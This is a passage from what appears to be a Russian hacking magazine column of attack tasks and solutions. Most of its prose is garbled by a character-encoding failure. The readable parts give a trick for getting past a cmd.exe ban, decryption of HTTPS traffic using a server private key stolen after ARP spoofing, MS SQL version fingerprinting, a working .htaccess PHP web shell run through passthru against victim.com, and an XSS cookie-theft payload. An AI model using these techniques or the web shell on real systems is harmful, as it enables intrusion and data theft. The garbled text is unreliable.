cmd-ÒËÑÉÐÓÜ. «ÏÎÆØÎÏ, ÏÄÑÁÎÉØÆÎÉÆ ÓÁË ÒÆÂÆ— vbs É ÁÎÁÌÏÄÉ 
ÈÁÐÔÒËÁÓÝ ÃÒÆ ÑÁÃÎÏ ÍÏÇÎÏ. ®Ï ÃÆÑÎÆÍÒà Ë ÏÂÖÏÅÔ ÏÄÑÁÎÉØÆÎÉà. 
¥ÆÊÒÓÃÔÆÓ ÏÎÏ ÎÁ ̄ ² ÅÏ Windows XP ÃËÌßØÉÓÆÌÝÎÏ.
µÉØÁ Ã ÓÏÍ, ØÓÏ Ã ÅÁÎÎÜÖ ̄ ² ËÑÏÍÆ ËÏÍÁÎÅÎÏÊ ÒÓÑÏËÉ cmd.exe ÆÒÓÝ 
ÆÚÆ É command.com. °ÏÒÌÆÅÎàà— ÞÓÏ ÔÑÆÈÁÎÎÁà DOS-ËÏÎÒÏÌÝ, 
ÏÒÓÁÃÌÆÎÎÁà ÅÌà ÏÂÑÁÓÎÏÊ ÒÏÃÍÆÒÓÉÍÏÒÓÉ, É ÏÎÁ ÉÍÆÆÓ ÏØÆÎÝ 

ЗАДАЧА: РАСШИРИТЬ ПОЗНАНИЯ 
В ОБЛАСТИ ИНФОРМАЦИОННОЙ 
БЕЗОПАСНОСТИ.

ЗАДАЧА: ОБХОД ГРУППОВОЙ ПОЛИТИКИ 
НА ЗАПРЕТ КОМАНДНОЙ СТРОКИ.

¹ 1

¹ 2

Запрещаем пользователям доступ к cmd.exe и к bat-
файлам

Закладок много-много: читать — не перечитать
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РЕШЕНИЕ:
¯ÅÎÁ ÉÈ ÐÑÏÂÌÆÍ ÐÑÏÓÏËÏÌÁ HTTP — ÏÓÒÔÓÒÓÃÉÆ ÙÉÕÑÏÃÁÎÉà ÓÑÁÕÉËÁ 
É ÐÑÏÃÆÑËÉ ×ÆÌÏÒÓÎÏÒÓÉ ÅÁÎÎÜÖ, ÓÏ ÆÒÓÝ ÐÑÉÒÔÓÒÓÃÔÆÓ ÃÏÈÍÏÇÎÏÒÓÝ 
ÐÑÏÃÏÅÉÓÝ ÁÓÁËÉ Man-in-the-middle. £ÒÆ ÅÁÎÎÜÆ ÐÆÑÆÅÁßÓÒà ÏÓËÑÜÓÜÍ 
ÓÆËÒÓÏÍ, Á ÞÓÏ, ÒÏÄÌÁÒÉÒÝ, ÒÏÃÒÆÍ ÎÆ ËÑÔÓÏ. HTTPS — ÑÁÒÙÉÑÆÎÉÆ ÐÑÏÓÏ-
ËÏÌÁ HTTP, ÐÏÅÅÆÑÇÉÃÁßÚÆÆ ÙÉÕÑÏÃÁÎÉÆ ÈÁ ÒØÆÓ ÉÒÐÏÌÝÈÏÃÁÎÉà SSL/
TLS-ËÑÉÐÓÏÐÑÏÓÏËÏÌÁ. £ SSL ÉÒÐÏÌÝÈÔÆÓÒà ÁÒÉÍÍÆÓÑÉØÎÜÊ ÁÌÄÏÑÉÓÍ Ò 
ÏÓËÑÜÓÜÍ ËÌßØÏÍ. £ ÌÔØÙÆÍ ÒÌÔØÁÆ ÐÏÌÔØÁÆÓÒà, ØÓÏ ÅÁÎÎÜÆ ÙÉÕÑÔßÓÒà, 
Á ËÌÉÆÎÓ ÔÅÏÒÓÏÃÆÑàÆÓÒà, ØÓÏ ÒÆÑÃÆÑ — ÞÓÏ ÉÍÆÎÎÏ ÓÏÓ ÒÆÑÃÆÑ. ®Ï ËÁË ÎÉ 
ÒÓÑÁÎÎÏ, HTTPS — ÎÆ ÐÁÎÁ×Æà. ̈ ÅÆÒÝ ÓÏÇÆ ÆÒÓÝ ÒÃÏÉ ÅÜÑËÉ, ÏÒÏÂÆÎÎÏ Ã 
ÐÆÑÃÏÊ ÃÆÑÒÉÉ ÐÑÏÓÏËÏÌÁ. ²ÑÁÈÔ ÃÒÐÏÍÉÎÁßÓÒà ÐÑÏÂÌÆÍÜ Ò ÒÁÍÏÐÏÅÐÉ-
ÒÁÎÎÜÍÉ ÒÆÑÓÉÕÉËÁÓÁÍÉ É ÔÒÐÆÙÎÜÆ ÁÓÁËÉ ÖÁËÆÑÏÃ ÎÁ ËÏÑÎÆÃÜÆ ×ÆÎÓÑÜ 
ÒÆÑÓÉÕÉËÁ×ÉÉ. £ ÉÓÏÄÆ, Ã ÏÐÑÆÅÆÌÆÎÎÜÖ ÒÉÓÔÁ×ÉàÖ ÍÏÇÎÏ ÐÆÑÆÖÃÁØÆÎ-
ÎÜÊ ÓÑÁÕÉË ÑÁÒÙÉÕÑÏÃÁÓÝ, ÎÏ ØÓÏ ÂÏÌÆÆ ÁËÓÔÁÌÝÎÏ — ÐÑÏÃÆÒÓÉ ÐÑÆÒÌÏ-
ÃÔÓÜÊ MiTM. £ÏÏÂÚÆ — ÓÆÍÁ ÉÎÓÆÑÆÒÎÁà! ®Ï ÌÁÅÎÏ, à Ï ÅÑÔÄÏÍ. HTTPS 
— ÃÆÚÝ ÒÐÆ×ÉÕÉØÆÒËÁà, É ÆÒÌÉ ÓÆÂÆ ÎÆÏÂÖÏÅÉÍÏ ÐÑÏÃÆÑÉÓÝ ÒÆÑÃÆÑ ÎÆ 
ÃÎÉËÁà Ã ÓÏÎËÏÒÓÉ, ÓÏ ÍÏÇÎÏ ÐÏÑÔØÉÓÝ ÞÓÏ ÅÆÌÏ ÏÅÎÏÍÔ web-ÒÆÑÃÉÒÔ — 
www.ssllabs.com/ssldb/analyze.html. ¥ÁÎÎÜÊ ÑÆÒÔÑÒ ÏÓÌÉØÎÏ ÒÐÑÁÃÌà-
ÆÓÒà ÒÏ ÒÃÏÆÊ ÈÁÅÁØÆÊ: ÐÑÏÃÆÑàÆÓ ÒÆÑÓÉÕÉËÁÓ, ÎÁÒÓÑÏÊËÉ ÙÉÕÑÏÃÁÎÉà, 
ÃÜÃÏÅÉÓ Ï×ÆÎËÔ Ã ÒÏÏÓÃÆÓÒÓÃÉÉ ÒÏ ÒÓÁÎÅÁÑÓÏÍ, ÅÁÆÓ ÒÒÜÌËÉ Ò ÐÑÉÍÆÑÁÍÉ 
ÁÓÁË ÎÁ ÃÜàÃÌÆÎÎÜÆ ÐÑÏÑÆÖÉ. ³ÁË ØÓÏ ÐÏØÆËÁÊ ÒÆÑÃÆÑ ÒÃÏÆÄÏ ÉÎÓÆÑÎÆÓ-
ÂÁÎËÁ É ÎÁÐÉÙÉ ÉÍ ÄÎÆÃÎÏÆ ÐÉÒÝÍÏ Ï ÓÏÍ, ØÓÏ ÏÎÉ ÎÆ ÈÁÂÏÓàÓÒà Ï ÒÃÏÉÖ 
ËÌÉÆÎÓÁÖ! ¦ÒÌÉ ØÓÏ-ÓÏ ÎÆ ÓÁË, ËÏÎÆØÎÏ :).

ÏÄÑÁÎÉØÆÎÎÜÊ ÕÔÎË×ÉÏÎÁÌ. ³ÆÐÆÑÝ ÒÁÍÏÆ ÉÎÓÆÑÆÒÎÏÆ: ÈÁÐÔÒÓÉÓÝ 
command.com ÍÜ ÍÏÇÆÍ, ÎÏ ÈÁÐÔÒËÁÓÝ ÖÏÓÝ ÒËÏÌÝËÏ-ÎÉÂÔÅÝ ÈÎÁ-
ØÉÍÜÆ ËÏÍÁÎÅÜ (ipconfig, ÎÁÐÑÉÍÆÑ) ÃÏÈÍÏÇÎÏÒÓÉ ÎÆÓ — ÏÓÏÂÑÁ-
ÇÁÆÓÒà ÃÒÆ ÓÏ ÇÆ ÏÄÑÁÎÉØÆÎÉÆ ÎÁ ÈÁÐÔÒË ËÏÎÒÏÌÉ. ̈ ÁÓÏ ÍÜ ÍÏÇÆÍ 
ÈÁÐÔÒÓÉÓÝ ÃÒÓÑÏÆÎÎÔß ËÏÍÁÎÅÔ, ÓÉÐÁ ÒÍÆÎÜ ÅÉÑÆËÓÏÑÉÉ «cd». © Ã 
ÉÓÏÄÆ, ÒÌÆÅÔßÚÁà ËÏÍÂÉÎÁ×Éà ÂÔÅÆÓ ÑÁÂÏÓÁÓÝ ÎÏÑÍÁÌÝÎÏ:

cd | ipconfi g

³ÏØÎÏ ÏÐÉÒÁÓÝ ÐÑÉØÉÎÎÏ-ÒÌÆÅÒÓÃÆÎÎÔß ÒÃàÈÝ ÓÁËÏÄÏ ÐÏÃÆÅÆÎÉà, 
ÐÏØÆÍÔ ÏÎÏ ÑÁÂÏÓÁÆÓ, à ÎÆ ÍÏÄÔ. ®Ï ÐÏÅÃÆÅÔ ÉÓÏÄ: ¡¡¡! ¾ÓÏ ÐÑÏÒÓÏ 
ÔÍÏÑÁ :).

РЕШЕНИЕ:
© Ã ÐÑÏÅÏÌÇÆÎÉÆ ÐÑÆÅÜÅÔÚÆÊ ÈÁÅÁØÉ— ÐÑÉÍÆÑ ÇÉÈÎÆÎÎÜÊ. 
°ÑÏÓÉÃ ÁÅÍÉÎÁ ÂÜÌÁ ÐÑÏÃÆÅÆÎÁ arp-spoofing-ÁÓÁËÁ É ÔËÑÁÅÆÎ 
HTTPS-ÓÑÁÕÉË ÏÂÚÆÎÉà ÆÄÏ Ò ÒÆÑÃÆÑÏÍ, ÆÒÌÉ ÓÏØÎÆÆ— ÁÃÓÏÑÉÈÁ×Éà. 
«ÏÎÆØÎÏ, ÐÑÁÃÉÌÝÎÆÆ ÂÜÌÏ ÂÜ ÒÑÁÈÔ ÐÑÏÃÆÒÓÉ MiTM É ÐÏÅÍÆÎÉÓÝ 
ÒÆÑÃÆÑ ÒÃÏÉÍ ÒÆÑÃÆÑÏÍ, ÏÒÏÂÆÎÎÏ Ò ÔØÆÓÏÍ ÓÏÄÏ, ØÓÏ ÎÁ ÒÆÑÃÆÑÆ 
ÂÜÌ ÒÁÍÏÐÏÅÐÉÒÁÎÎÜÊ ÒÆÑÓÉÕÉËÁÓ (ØÓÏ, Ã ÏÂÚÆÍ-ÓÏ, ÏÂÜØÎÏ ÅÌà 
ÌÏËÁÌÝÎÜÖ ÒÆÓÏË), ÎÏ ËÁË-ÓÏ ÎÆ ÒÑÏÒÌÏÒÝ :). £ ÉÓÏÄÆ ÂÜÌ ËÔÒÏË HTTPS-
ÓÑÁÕÉËÁ, ÑÁÒÙÉÕÑÏÃÁÓÝ ËÏÓÏÑÜÊ ÐÑÏÒÓÏ ÓÁË ÎÆ ÐÑÆÅÒÓÁÃÌàÆÓÒà ÃÏÈ-
ÍÏÇÎÜÍ. ¶ÏÓà… ÐÑÉ ÐÌÏÖÏÍ ÙÉÕÑÏÃÁÎÉÉ É ÉÒÐÏÌÝÈÏÃÁÎÉÉ ÏÂÌÁØÎÜÖ 
ÃÜØÉÒÌÆÎÉÊ :)... ®Ï ÞÓÏ ÔÇÆ ØÁÒÓÎÏÒÓÉ. £ ÏÂÚÆÍ, ÉÒÐÏÌÝÈÔß ÅÑÔÄÔß 
ÔàÈÃÉÍÏÒÓÝ É ÇÉÓÆÊÒËÔß ÖÉÓÑÏÒÓÝ. ¢ÜÌ ÔËÑÁÅÆÎ ÈÁËÑÜÓÜÊ ËÌßØ Ò 
ÒÆÑÃÆÑÁ É ÒÏÖÑÁÎÆÎ ÌÏËÁÌÝÎÏ Ã ÕÁÊÌÉË la-la-la.key. ̧ ÓÏ ÅÁÌÝÙÆ? ̄ Ó-
ËÑÜÃÁÆÍ Wireshark:

1) ǮȦȞȤȯȖȔșȠ ȢȦȥȡȜȨȨȔȡȡȯȝ HTTPS-ȦȤȔȨȜȞ;
2) ǬșȡȲ Edit Æ Preferences;

3) Ǣ ȥȣȜȥȞș Protocols ȡȔȩȢȘȜȠ SSL(ȖȖȢȘȳ ȕȧȞȖȯ);
4) Ǣ RSA key list ȣȜȬșȠ ȫșȤșț țȔȣȳȦȧȲ:
5) IP-ȔȘȤșȥ ȥșȤȖșȤȔ, ȣȢȤȦ, ȣȤȢȦȢȞȢȟ, ȣȧȦȰ Ȟ ȞȟȲȫȧ
192.168.0.100,443,SSL,ȥ:\la-la-la.key;
6) Apply. 

ЗАДАЧА: ПРОВЕРИТЬ HTTPS НА 
ДЫРЯВОСТЬ.

ЗАДАЧА: РАСШИФРОВАТЬ HTTPS-ТРАФИК. 

¹ 3

¹ 4

Обход запрета — очень просто

Расшифровываем HTTPS-трафик

 039

HTTPS на моем серваке мало чего стоит :)
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ВЗЛОМ

 040

РЕШЕНИЕ:
®ÁÃÆÑÎÏÆ, ÎÆÓ ÒÍÜÒÌÁ ÄÏÃÏÑÉÓÝ Ï ÓÏÍ, ØÓÏ ÒÂÏÑ ÉÎÕÏÑÍÁ×ÉÉ Ï 
ÒÆÑÃÆÑÆ/ÒÆÑÃÉÒÆ— ÃÆÚÝ ØÑÆÈÃÜØÁÊÎÏ ÃÁÇÎÁà ÐÑÉ ÃÈÌÏÍÆ. °ÏÌÔØÉÃ 
ÓÏØÎÜÊ ÎÏÍÆÑ ÃÆÑÒÉÉ, ÍÜ ÍÏÇÆÍ ÐÏÒÍÏÓÑÆÓÝ ÔàÈÃÉÍÏÒÓÉ ÐÑÏÅÔËÓÁ, 
ÃÏÈÍÏÇÎÏ— ÎÁÑÜÓÝ ÐÁÂÌÉË-ÞËÒÐÌÏÉÓÜ. ¥Ìà MS SQL ÐÏÌÔØÉÓÝ ÓÏØÎÜÊ 
ÎÏÍÆÑ, ÃËÌßØÁà ÎÏÍÆÑ ÂÉÌÅÁ,— ÎÆ ÐÑÏÂÌÆÍÁ. ̧ ÆÑÆÈ SQL-ÈÁÐÑÏÒ:

Select @@version

©ÌÉ Nmap’ÏÍ:

Nmap –sV –p1433 <targets>

®Ï ÉÎÓÆÑÆÒÎÏÆ ÅÁÌÆÆ. ®Á www.sqlteam.com/article/sql-server-versions 
(É ÁÎÁÌÏÄÉØÎÜÖ ÒÁÊÓÁÖ) ÅÏÂÑÜÆ ÌßÅÉ ÃÆÅÔÓ ÒÏÐÏÒÓÁÃÌÆÎÉÆ ÍÆÇÅÔ 
ËÏÎËÑÆÓÎÜÍÉ ÃÆÑÒÉàÍÉ MS SQL É ÎÏÍÆÑÁÍÉ ÏÂÎÏÃÌÆÎÉÊ ÅÌà ÎÆÄÏ ÏÓ 
MS. ̧ ÓÏ ÐÑÉàÓÎÏ— ÔËÁÈÁÎÜ É ÅÁÓÜ ÃÜÐÔÒËÁ ÏÂÎÏÃÌÆÎÉÊ, É ÌÉÎËÉ ÎÁ 
ÎÉÖ. ³ÁË ØÓÏ ÍÜ ÒÑÁÈÔ ÍÏÇÆÍ ÐÏÎàÓÝ, ÏÂÎÏÃÌàÆÓÒà ÌÉ ÒÆÑÃÆÑ, É ÐÏÒÍÏ-
ÓÑÆÓÝ ÂÁÄÉ, ÉÒÐÑÁÃÌÆÎÎÜÆ Ã ÒÌÆÅÔßÚÉÖ ÐÁÓØÁÖ.

РЕШЕНИЕ:
±ÆÙÆÎÉÆ ÅÁÎÎÏÊ ÈÁÅÁØÉ ÏÒÎÏÃÁÎÏ ÎÁ ÐÏÒÓÆ Ã ÂÌÏÄÆ, ÁÃÓÏÑ ËÏÓÏÑÏÄÏ— 
Eldar Marcussen (bit.ly/mm1ynI). £ ÎÆÍ ÏÎ ÐÏÅÆÌÉÌÒà ÏÐÜÓÏÍ Ï ÓÆÒÓÉÑÏ-
ÃÁÎÉÉ ËÁËÏÊ-ÓÏ CMS’ËÉ, Ã ËÏÓÏÑÏÊ ÐÑÆÅÌÏÇÉÌ ÐÑàÓÁÓÝ ÙÆÌÌ Ã ÒÓÁÎÅÁÑÓ-
ÎÏÍ ÅÌà Apache ÕÁÊÌÆ— .htaccess. ²ÁÍÁ ÉÅÆà ÎÆ ÏÒÏÂÏ ÎÏÃÁ É ÎÆ ÏÒÏÂÏ  
ßÈÁÂÆÌÝÎÁ, ÎÏ ØÓÏ-ÓÏ Ã ÎÆÊ ÏÐÑÆÅÆÌÆÎÎÏ ÆÒÓÝ, ÆÆ ÒÓÏÉÓ ÅÆÑÇÁÓÝ ÄÅÆ-ÓÏ Ã 
ÔÍÆ, ÎÁ ÐÏÌÏØËÆ.
®ÁÐÏÍÎß, .htaccess— ÞÓÏ ÕÁÊÌ ÅÏÐÏÌÎÉÓÆÌÝÎÏÊ ËÏÎÕÉÄÔÑÁ×ÉÉ 
ÃÆÂ-ÒÆÑÃÆÑÁ Apache. ̄ Î àÃÌàÆÓÒà ÐÏÅÏÂÉÆÍ httpd.conf Ò ÓÏÊ ÑÁÈ-
ÎÉ×ÆÊ, ØÓÏ ÅÆÊÒÓÃÔÆÓ ÓÏÌÝËÏ ÎÁ ËÁÓÁÌÏÄ, Ã ËÏÓÏÑÏÍ ÑÁÒÐÏÌÁÄÁÆÓÒà, É 
ÎÁ ÆÄÏ ÅÏØÆÑÎÉÆ ËÁÓÁÌÏÄÉ. £ÏÈÍÏÇÎÏÒÓÝ ÉÒÐÏÌÝÈÏÃÁÎÉà .htaccess 
Ã ÓÏÍ ÉÌÉ ÉÎÏÍ ËÁÓÁÌÏÄÆ ÔËÁÈÜÃÁÆÓÒà Ã httpd.conf (ÅÉÑÆËÓÉÃÁ 
AllowOverride).
³ÁËÉÍ ÏÂÑÁÈÏÍ, ÐÏÌÔØÁÆÓÒà, ØÓÏ ÈÁËÁØÁÃ .htaccess ÎÁ ÒÆÑÃÆÑ, ÍÜ ÍÏÇÆÍ 
ÉÈÍÆÎÉÓÝ ÎÁÒÓÑÏÊËÉ. «ÑÏÍÆ ÓÏÄÏ, .htaccess àÃÌàÆÓÒà ÎÆÐÌÏÖÉÍ ÍÆÒÓÏÍ 
ÅÌà ÓÏÄÏ, ØÓÏÂÜ ÒÐÑàÓÁÓÝ web-ÙÆÌÌ ÏÓ ÄÌÁÈ ÌßÅÒËÉÖ, ÐÏÓÏÍÔ ËÁË ÏÎ Ã 
ÏÒÎÏÃÎÏÍ ÃÏÒÐÑÉÎÉÍÁÆÓÒà ËÁË ØÓÏ-ÓÏ ÒÉÒÓÆÍÎÏÆ, ÎÆÏÂÖÏÅÉÍÏÆ. ®Ô Á 
ÓÆÐÆÑÝ ÐÑÁËÓÉØÆÒËÉÊ ÐÑÉÍÆÑ:

<Files ~ "^\.ht">
   Order allow,deny
   Allow from all
</Files>
AddType application/x-httpd-php .htaccess
 
#### <?php echo "\n";passthru($_GET['c']." 2>&1"); ?> #####

©ÓÁË, ÐÏàÒÎÆÎÉà. °ÆÑÃÜÊ ÂÌÏË ÉÒÐÏÌÝÈÔÆÓÒà ÅÌà ÐÆÑÆÈÁÐÉÒÉ ÅÆ-
ÕÏÌÓÎÏÄÏ ÐÑÁÃÉÌÁ, ÈÁÐÑÆÚÁßÚÆÄÏ ÅÏÒÓÔÐ Ë .htaccess ÉÈ ÃÆÂÁ. ¥ÁÌÆÆ 
ÏÐÑÆÅÆÌàÆÍ .htaccess ËÁË ÕÁÊÌ, ËÏÓÏÑÜÊ ÉÒÐÏÌÎàÆÓÒà ËÁË php-ÒËÑÉÐÓ. 
© ÐÏÒÌÆÅÎÆÆ— Ã ËÏÍÍÆÎÓÁÑÉàÖ ÒÐÑàÓÁÎ ÐÑÏÒÓÆÊÙÉÊ php-ÙÎÜÊ ÙÆÌÌ-
ËÏÅ, ËÏÓÏÑÜÊ ÃÜÐÏÌÎàÆÓ Ã ÒÉÒÓÆÍÆ ËÏÍÁÎÅÔ, ÐÏÌÔØÆÎÎÔß Ã ÐÁÑÁÍÆÓÑÆ 
'c' c ÃÜÃÏÅÏÍ ÃÒÆÖ ÅÁÎÎÜÖ ÏÂÑÁÓÎÏ Ã ÂÑÁÔÈÆÑ. ̈ ÁÐÔÒËÁÆÍ ËÏÍÁÎÅÜ 
ÒÌÆÅÔßÚÉÍ ÏÂÑÁÈÏÍ: http://victim.com/path/.htaccess?c=command. 
«ÁË ÃÉÅÉÙÝ— ÃÒÆ ÐÑÏÒÓÏ. Apache ÃÏÒÐÑÉÎÉÍÁÆÓ ÞÓÏÓ ÕÁÊÌ ËÁË 
ÏÂÜØÎÜÊ .htaccess, Á php ÃÜÑÜÃÁÆÓ ÓÏÌÝËÏ ÎÔÇÎÜÊ ÆÍÔ ËÔÒÏË. Eldar 
Marcussen ÎÁ ÞÓÏÍ ÎÆ ÏÒÓÁÎÏÃÉÌÒà, ÑÁÒÙÉÑÉÌ ÒÁÍ ÙÆÌÌ É ÐÑÏÅÏÌÇÉÌ 
ÉÈÜÒËÁÎÉà ÎÏÃÜÖ ÃÆËÓÏÑÏÃ ÁÓÁË, ÒÃàÈÁÎÎÜÖ Ò ÕÁÊÌÁÍÉ ÎÁÒÓÑÏÆË ¡ÐÁØÁ. 
¢ÏÌÆÆ ÐÏÅÑÏÂÎÔß ÉÎÕÏÑÍÁ×Éß ÍÏÇÎÏ ÐÑÏØÉÓÁÓÝ ÈÅÆÒÝ— bit.ly/jBHjNz, 
Á ÒËÁØÁÓÝ ÈÅÆÒÝ— bit.ly/lu9CuD.

РЕШЕНИЕ:
XSS— ÏÅÎÁ ÉÈ ÒÁÍÜÖ ÑÁÒÐÑÏÒÓÑÁÎÆÎÎÜÖ ÒÆÊØÁÒ ÔàÈÃÉÍÏÒÓÆÊ ÎÁ ÃÆÂ-
ÒÁÊÓÁÖ. °Ï ÓÆÏÑÉÉ, XSS-ÂÜÃÁßÓ ÅÃÔÖ ÃÉÅÏÃ:
• stored/ÁËÓÉÃÎÁà XSS— ÓÁ, ËÏÓÏÑÁà ÖÑÁÎÉÓÒà ÎÁ ÒÆÑÃÆÑÆ É ÈÁÐÔÒËÁÆÓÒà 
ÒÑÁÈÔ ÐÑÉ ÏÓËÑÜÓÉÉ ÇÆÑÓÃÏÊ ÒÓÑÁÎÉ×Ü;
•  reflected/ÐÁÒÒÉÃÎÁà XSS— ÎÆ ÖÑÁÎÉÓÒà ÎÁ ÒÆÑÃÆÑÆ É ÓÑÆÂÔÆÓ ÏÓ 
ÐÏÌÝÈÏÃÁÓÆÌà ÐÆÑÆÖÏÅÁ ÐÏ ÒÐÆ×ÉÁÌÝÎÏ ÒÕÏÑÍÉÑÏÃÁÎÎÏÊ ÒÒÜÌËÆ, ËÏÅ Ã 
ËÏÓÏÑÏÊ É ÂÔÅÆÓ ÉÒÐÏÌÎÆÎ.
£ÓÏÑÏÊ ÃÉÅ ÏØÆÎÝ ØÁÒÓÏ ÎÆ ÃÏÒÐÑÉÎÉÍÁÆÓÒà ÌßÅÝÍÉ ËÁË ÏÐÁÒÎÜÊ. 
¥ÆÒËÁÓÝ, ÐÏÌÝÈÏÃÁÓÆÌÝ ÒÁÍ ÅÔÑÁË, ØÓÏ ÐÆÑÆÙÆÌ ÐÏ ËÑÉÃÏÊ ÒÒÜÌËÆ. © 
ÏØÆÎÝ ÈÑà, ÃÆÅÝ XSS ÍÏÇÎÏ ÒËÑÜÓÝ Ò ÐÏÍÏÚÝß ÒÆÑÃÉÒÏÃ ÐÏ ÒÃÆÑÓÜÃÁ-

ÎÉß ÒÒÜÌÏË, ÎÏ ÂÏÌÆÆ ÉÎÓÆÑÆÒÎÁà ÉÅÆà ÏÐÉÒÁÎÁ ÅÁÌÝÙÆ. ̄ ÂÜØÎÏ ÃÒÆÖ 
ÐÔÄÁßÓ ÑÁÒËÑÜÓÉÆÍ ÅÁÎÎÜÖ ÉÈ ËÔËÉÒÏÃ, ËÏÓÏÑÜÆ ØÁÚÆ ÃÒÆÄÏ ÒÏÅÆÑÇÁÓ 
ÉÅÆÎÓÉÕÉËÁÓÏÑ ÒÆÒÒÉÉ É ÆÚÆ ËÁËÔß-ÎÉÓÝ ËÏÎÕÉÅÆÎ×ÉÁÌÝÎÔß ÉÎÕÏÑ-
ÍÁ×Éß:  <script>alert(document.cookie); </script>. «ÁË ÐÏÎàÓÎÏ, 
ÃÍÆÒÓÏ ÏÓÏÂÑÁÇÆÎÉà ËÔËÉÒÏÃ, ÈÌÏÂÎÜÆ ÃÈÌÏÍÚÉËÉ ÐÆÑÆÎÁÐÑÁÃÌàßÓ ÞÓÉ 
ÅÁÎÎÜÆ Ë ÒÆÂÆ ÎÁ ÒÆÑÃÆÑ. £ ÑÆÈÔÌÝÓÁÓÆ Ô ÎÉÖ ÐÏàÃÌàÆÓÒà ÃÏÈÍÏÇÎÏÒÓÝ 
ÈÁÊÓÉ ÎÁ ËÁËÏÊ-ÓÏ ÑÆÒÔÑÒ, ÉÒÐÏÌÝÈÔà ÅÁÎÎÜÆ ËÔËÉÒÏÃ ÐÏÅ ÐÏÌÝÈÏÃÁ-
ÓÆÌÆÍ, Ô ËÏÓÏÑÏÄÏ ÞÓÉ ËÔËÉÒÜ ÂÜÌÉ ÔËÑÁÅÆÎÜ. «ÁË ÎÉ ÒÓÑÁÎÎÏ, ÃÐÏÌÎÆ 
ÁÅÆËÃÁÓÎÁà ÈÁÚÉÓÁ ÏÓ ÞÓÏÄÏ ÆÒÓÝ — ÕÌÁÄ HttpOnly, ËÏÓÏÑÜÊ ÔËÁÈÜÃÁÆÓ ÎÁ 
ÈÁÐÑÆÓ ØÓÆÎÉà/ÈÁÐÉÒÉ ÅÁÎÎÜÖ Cookie ÐÏÒÑÆÅÒÓÃÏÍ JavaScript, ÏÓÒßÅÁ É 
ÎÁÈÃÁÎÉÆ: ËÔËÉÒÜ ÅÏÒÓÔÐÎÜ ÓÏÌÝËÏ ØÆÑÆÈ ÐÑÏÓÏËÏÌ HTTP. °ÏÌÔØÁÆÓÒà, ØÓÏ 
ÁÓÁËÔßÚÉÊ ÔÇÆ ÎÆ ÍÏÇÆÓ ÔËÑÁÒÓÝ ÅÁÎÎÜÖ. «ÁÈÁÌÏÒÝ ÂÜ XSS ÍÏÄ ÐÏÓÆÑàÓÝ 
ÁËÓÔÁÌÝÎÏÒÓÝ, ÏÅÎÁËÏ ÆÒÓÝ ÎÆÒËÏÌÝËÏ ÏÂÖÏÅÏÃ ÞÓÏÄÏ ÏÄÑÁÎÉØÆÎÉà. 
°Ï ÒÔÓÉ ÒÃÏÆÊ, ØÓÏÂÜ ÃÐÏÌÎÆ ÏÒÏÈÎÁÓÝ ÒÆÑÝÆÈÎÏÒÓÝ XSS-ÔàÈÃÉÍÏÒÓÆÊ, 
ÃÁÇÎÏ ÐÏÎàÓÝ, ØÓÏ, ÉÒÐÏÌÝÈÔà ÃÏÈÍÏÇÎÏÒÓÉ àÃÁÒËÑÉÐÓÁ, ÍÜ ÍÏÇÆÍ 
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ÒÅÆÌÁÓÝ ÐÏØÓÉ ÃÒÆ ØÓÏ ÈÁÖÏÓÉÍ. £ ËÁØÆÒÓÃÆ ÐÑÉÍÆÑÁ à ÖÏØÔ ÐÑÆÅÒÓÁ-
ÃÉÓÝ ÎÁÙÆÄÏ ÐÏÌÝÒËÏÄÏ ÒÏÑÁÓÎÉËÁ ÐÏ ×ÆÖÔ— «ÙÉÙÓÏÕÁ «ÏÓÏÃÉØÁ É ÆÄÏ 
ÓÃÏÑÆÎÉÆ Ò ÎÁÈÃÁÎÉÆÍ XSS-tracker: bit.ly/9zZU68. ²ÔÓÝ ÉÅÆÉ ÈÁËÌß-
ØÁÆÓÒà Ã ÓÏÍ, ØÓÏÂÜ ÉÒÐÏÌÝÈÔà ÃÏÈÍÏÇÎÏÒÓÉ àÃÁÒËÑÉÐÓ, ÒÌÆÅÉÓÝ ÈÁ 
ÅÆÊÒÓÃÉàÍÉ ÐÏÌÝÈÏÃÁÓÆÌà ÎÁ ÃÒÆÍ ÒÁÊÓÆ É ÐÑÉ ÎÆÏÂÖÏÅÉÍÏÒÓÉ ÒÄÑÁÂÉÓÝ 
×ÆÎÎÜÆ ÅÁÎÎÜÆ Ò ÐÑÏÒÍÁÓÑÉÃÁÆÍÜÖ ÒÓÑÁÎÉ×, ÌÉÂÏ ÃÜÐÏÌÎÉÓÝ ËÁËÉÆ-ÓÏ 
ËÏÍÁÎÅÜ ÃÍÆÒÓÏ ÐÏÌÝÈÏÃÁÓÆÌà. ®Ï ËÁË ÞÓÏ ÒÅÆÌÁÓÝ? £ÆÅÝ XSS ÏÂÜØÎÏ 
ÎÁÖÏÅÉÓÒà ÎÁ ÏÅÎÏÊ ËÏÎËÑÆÓÎÏÊ ÒÓÑÁÎÉ×Æ. ¡ ÍÜ ÖÏÓÉÍ ÒÌÆÅÉÓÝ ÈÁ ÐÏÌÝ-
ÈÏÃÁÓÆÌÆÍ ÐÏ ÃÒÆÍÔ ÒÁÊÓÔ. «ÁË ÇÆ ÞÓÏ ÒÅÆÌÁÓÝ? «ÙÉÙÓÏÕ ÐÑÆÅÌÏÇÉÌ ÉÒ-
ÐÏÌÝÈÏÃÁÓÝ ÅÌà ÞÓÏÄÏ ÑÁÈÃÆÑÎÔÓÜÊ ÎÁ ÃÆÒÝ ÞËÑÁÎ ÕÑÆÊÍ, ËÔÅÁ ÐÏÍÆÒÓÉÓÝ 
ËÏÎÓÆÎÓ Ò ÎÁÒÓÏàÚÆÄÏ ÒÁÊÓÁ. £ ÑÆÈÔÌÝÓÁÓÆ ÐÏÌÝÈÏÃÁÓÆÌÝ ÂÔÅÆÓ ÐÏÌÈÁÓÝ 
ÔÇÆ ÃÎÔÓÑÉ iframe, ÐÑÉ ÞÓÏÍ ÕÁËÓÉØÆÒËÉ ÎÆ ÐÏËÉÅÁà ÒÓÑÁÎÉ×Ô, ÄÅÆ ÎÁ-
ÖÏÅÉÓÒà XSS. £ÑÆÅÏÎÏÒÎÜÊ àÃÁÒËÑÉÐÓ ÐÑÉ ÞÓÏÍ ÐÑÏÅÏÌÇÁÆÓ ÑÁÂÏÓÔ É 
ÉÍÆÆÓ ÐÏÌÎÜÊ ÅÏÒÓÔÐ ËÏ ÃÒÆÍÔ, ØÓÏ ÎÁÖÏÅÉÓÒà ÃÎÔÓÑÉ iframe. °ÑÉØÆÍ 
